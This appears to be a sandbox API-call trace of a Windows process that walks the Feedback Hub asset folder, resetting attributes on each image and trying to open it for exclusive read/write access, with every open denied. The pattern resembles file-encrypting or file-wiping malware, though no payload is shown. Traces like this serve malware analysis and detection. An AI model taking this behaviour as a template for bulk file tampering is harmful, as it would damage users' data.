	[0090.182] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\InsiderHubMedTile.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsfeedbackhub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\insiderhubmedtile.scale-100.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.182] GetLastError () returned 0x5
	[0090.182] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\InsiderHubMedTile.scale-100.png", dwFileAttributes=0x20) returned 0
	[0090.182] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4ebc178) returned 1
	[0090.182] FindNextFileW (in: hFindFile=0x477ac68, lpFindFileData=0x502bad8 | out: lpFindFileData=0x502bad8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50ffb2c8, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x50ffb2c8, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x50ffb2c8, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x1fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="InsiderHubMedTile.scale-100_contrast-black.png", cAlternateFileName="")) returned 1
	[0090.182] wcscmp (_String1="InsiderHubMedTile.scale-100_contrast-black.png", _String2=".") returned 1
	[0090.182] wcscmp (_String1="InsiderHubMedTile.scale-100_contrast-black.png", _String2="..") returned 1
	[0090.182] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x14a) returned 0x2d7c6e0
	[0090.182] wcscpy (in: _Dest=0x2d7c6e0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets"
	[0090.182] wcscat (in: _Dest=0x2d7c6e0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\"
	[0090.182] wcscat (in: _Dest=0x2d7c6e0, _Source="InsiderHubMedTile.scale-100_contrast-black.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\InsiderHubMedTile.scale-100_contrast-black.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\InsiderHubMedTile.scale-100_contrast-black.png"
	[0090.182] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\InsiderHubMedTile.scale-100_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsfeedbackhub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\insiderhubmedtile.scale-100_contrast-black.png")) returned 0x20
	[0090.185] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\InsiderHubMedTile.scale-100_contrast-black.png", dwFileAttributes=0x20) returned 0
	[0090.186] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\InsiderHubMedTile.scale-100_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsfeedbackhub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\insiderhubmedtile.scale-100_contrast-black.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.186] GetLastError () returned 0x5
	[0090.186] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\InsiderHubMedTile.scale-100_contrast-black.png", dwFileAttributes=0x20) returned 0
	[0090.186] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7c6e0) returned 1
	[0090.186] FindNextFileW (in: hFindFile=0x477ac68, lpFindFileData=0x502bad8 | out: lpFindFileData=0x502bad8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50ffb2c8, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x50ffb2c8, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x50ffb2c8, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x18d, dwReserved0=0x0, dwReserved1=0x0, cFileName="InsiderHubMedTile.scale-100_contrast-white.png", cAlternateFileName="")) returned 1
	[0090.186] wcscmp (_String1="InsiderHubMedTile.scale-100_contrast-white.png", _String2=".") returned 1
	[0090.186] wcscmp (_String1="InsiderHubMedTile.scale-100_contrast-white.png", _String2="..") returned 1
	[0090.186] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x14a) returned 0x2d7c698
	[0090.186] wcscpy (in: _Dest=0x2d7c698, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets"
	[0090.186] wcscat (in: _Dest=0x2d7c698, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\"
	[0090.186] wcscat (in: _Dest=0x2d7c698, _Source="InsiderHubMedTile.scale-100_contrast-white.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\InsiderHubMedTile.scale-100_contrast-white.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\InsiderHubMedTile.scale-100_contrast-white.png"
	[0090.186] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\InsiderHubMedTile.scale-100_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsfeedbackhub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\insiderhubmedtile.scale-100_contrast-white.png")) returned 0x20
	[0090.186] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\InsiderHubMedTile.scale-100_contrast-white.png", dwFileAttributes=0x20) returned 0
	[0090.186] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\InsiderHubMedTile.scale-100_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsfeedbackhub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\insiderhubmedtile.scale-100_contrast-white.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.186] GetLastError () returned 0x5
	[0090.186] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\InsiderHubMedTile.scale-100_contrast-white.png", dwFileAttributes=0x20) returned 0
	[0090.186] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7c698) returned 1
	[0090.187] FindNextFileW (in: hFindFile=0x477ac68, lpFindFileData=0x502bad8 | out: lpFindFileData=0x502bad8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50ffb2c8, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x50ffb2c8, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x50ffb2c8, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x13c, dwReserved0=0x0, dwReserved1=0x0, cFileName="InsiderHubSmallTile.scale-100.png", cAlternateFileName="")) returned 1
	[0090.187] wcscmp (_String1="InsiderHubSmallTile.scale-100.png", _String2=".") returned 1
	[0090.187] wcscmp (_String1="InsiderHubSmallTile.scale-100.png", _String2="..") returned 1
	[0090.187] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x130) returned 0x4ebc2b0
	[0090.187] wcscpy (in: _Dest=0x4ebc2b0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets"
	[0090.187] wcscat (in: _Dest=0x4ebc2b0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\"
	[0090.187] wcscat (in: _Dest=0x4ebc2b0, _Source="InsiderHubSmallTile.scale-100.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\InsiderHubSmallTile.scale-100.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\InsiderHubSmallTile.scale-100.png"
	[0090.187] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\InsiderHubSmallTile.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsfeedbackhub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\insiderhubsmalltile.scale-100.png")) returned 0x20
	[0090.189] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\InsiderHubSmallTile.scale-100.png", dwFileAttributes=0x20) returned 0
	[0090.189] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\InsiderHubSmallTile.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsfeedbackhub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\insiderhubsmalltile.scale-100.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.189] GetLastError () returned 0x5
	[0090.189] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\InsiderHubSmallTile.scale-100.png", dwFileAttributes=0x20) returned 0
	[0090.189] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4ebc2b0) returned 1
	[0090.189] FindNextFileW (in: hFindFile=0x477ac68, lpFindFileData=0x502bad8 | out: lpFindFileData=0x502bad8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51024b8d, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x51024b8d, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x51024b8d, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x13c, dwReserved0=0x0, dwReserved1=0x0, cFileName="InsiderHubSmallTile.scale-100_contrast-black.png", cAlternateFileName="")) returned 1
	[0090.190] wcscmp (_String1="InsiderHubSmallTile.scale-100_contrast-black.png", _String2=".") returned 1
	[0090.190] wcscmp (_String1="InsiderHubSmallTile.scale-100_contrast-black.png", _String2="..") returned 1
	[0090.190] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x14e) returned 0x4732810
	[0090.190] wcscpy (in: _Dest=0x4732810, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets"
	[0090.190] wcscat (in: _Dest=0x4732810, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\"
	[0090.190] wcscat (in: _Dest=0x4732810, _Source="InsiderHubSmallTile.scale-100_contrast-black.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\InsiderHubSmallTile.scale-100_contrast-black.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\InsiderHubSmallTile.scale-100_contrast-black.png"
	[0090.190] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\InsiderHubSmallTile.scale-100_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsfeedbackhub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\insiderhubsmalltile.scale-100_contrast-black.png")) returned 0x20
	[0090.190] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\InsiderHubSmallTile.scale-100_contrast-black.png", dwFileAttributes=0x20) returned 0
	[0090.190] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\InsiderHubSmallTile.scale-100_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsfeedbackhub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\insiderhubsmalltile.scale-100_contrast-black.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.190] GetLastError () returned 0x5
	[0090.190] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\InsiderHubSmallTile.scale-100_contrast-black.png", dwFileAttributes=0x20) returned 0
	[0090.190] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4732810) returned 1
	[0090.190] FindNextFileW (in: hFindFile=0x477ac68, lpFindFileData=0x502bad8 | out: lpFindFileData=0x502bad8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x510271f8, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x510271f8, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x510271f8, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x11c, dwReserved0=0x0, dwReserved1=0x0, cFileName="InsiderHubSmallTile.scale-100_contrast-white.png", cAlternateFileName="")) returned 1
	[0090.190] wcscmp (_String1="InsiderHubSmallTile.scale-100_contrast-white.png", _String2=".") returned 1
	[0090.190] wcscmp (_String1="InsiderHubSmallTile.scale-100_contrast-white.png", _String2="..") returned 1
	[0090.190] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x14e) returned 0x4732810
	[0090.190] wcscpy (in: _Dest=0x4732810, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets"
	[0090.190] wcscat (in: _Dest=0x4732810, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\"
	[0090.190] wcscat (in: _Dest=0x4732810, _Source="InsiderHubSmallTile.scale-100_contrast-white.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\InsiderHubSmallTile.scale-100_contrast-white.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\InsiderHubSmallTile.scale-100_contrast-white.png"
	[0090.190] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\InsiderHubSmallTile.scale-100_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsfeedbackhub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\insiderhubsmalltile.scale-100_contrast-white.png")) returned 0x20
	[0090.191] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\InsiderHubSmallTile.scale-100_contrast-white.png", dwFileAttributes=0x20) returned 0
	[0090.191] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\InsiderHubSmallTile.scale-100_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsfeedbackhub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\insiderhubsmalltile.scale-100_contrast-white.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.191] GetLastError () returned 0x5
	[0090.191] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\InsiderHubSmallTile.scale-100_contrast-white.png", dwFileAttributes=0x20) returned 0
	[0090.191] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4732810) returned 1
	[0090.191] FindNextFileW (in: hFindFile=0x477ac68, lpFindFileData=0x502bad8 | out: lpFindFileData=0x502bad8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x510271f8, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x510271f8, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x510271f8, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x5b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="InsiderHubSplashScreen.scale-100.png", cAlternateFileName="")) returned 1
	[0090.191] wcscmp (_String1="InsiderHubSplashScreen.scale-100.png", _String2=".") returned 1
	[0090.191] wcscmp (_String1="InsiderHubSplashScreen.scale-100.png", _String2="..") returned 1
	[0090.191] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x136) returned 0x481e178
	[0090.191] wcscpy (in: _Dest=0x481e178, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets"
	[0090.191] wcscat (in: _Dest=0x481e178, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\"
	[0090.191] wcscat (in: _Dest=0x481e178, _Source="InsiderHubSplashScreen.scale-100.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\InsiderHubSplashScreen.scale-100.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\InsiderHubSplashScreen.scale-100.png"
	[0090.191] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\InsiderHubSplashScreen.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsfeedbackhub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\insiderhubsplashscreen.scale-100.png")) returned 0x20
	[0090.192] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\InsiderHubSplashScreen.scale-100.png", dwFileAttributes=0x20) returned 0
	[0090.192] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\InsiderHubSplashScreen.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsfeedbackhub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\insiderhubsplashscreen.scale-100.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.192] GetLastError () returned 0x5
	[0090.192] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\InsiderHubSplashScreen.scale-100.png", dwFileAttributes=0x20) returned 0
	[0090.192] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481e178) returned 1
	[0090.192] FindNextFileW (in: hFindFile=0x477ac68, lpFindFileData=0x502bad8 | out: lpFindFileData=0x502bad8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x510271f8, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x510271f8, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x510271f8, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x5b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="InsiderHubSplashScreen.scale-100_contrast-black.png", cAlternateFileName="")) returned 1
	[0090.193] wcscmp (_String1="InsiderHubSplashScreen.scale-100_contrast-black.png", _String2=".") returned 1
	[0090.193] wcscmp (_String1="InsiderHubSplashScreen.scale-100_contrast-black.png", _String2="..") returned 1
	[0090.193] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x154) returned 0x4732810
	[0090.193] wcscpy (in: _Dest=0x4732810, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets"
	[0090.193] wcscat (in: _Dest=0x4732810, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\"
	[0090.193] wcscat (in: _Dest=0x4732810, _Source="InsiderHubSplashScreen.scale-100_contrast-black.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\InsiderHubSplashScreen.scale-100_contrast-black.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\InsiderHubSplashScreen.scale-100_contrast-black.png"
	[0090.193] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\InsiderHubSplashScreen.scale-100_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsfeedbackhub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\insiderhubsplashscreen.scale-100_contrast-black.png")) returned 0x20
	[0090.193] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\InsiderHubSplashScreen.scale-100_contrast-black.png", dwFileAttributes=0x20) returned 0
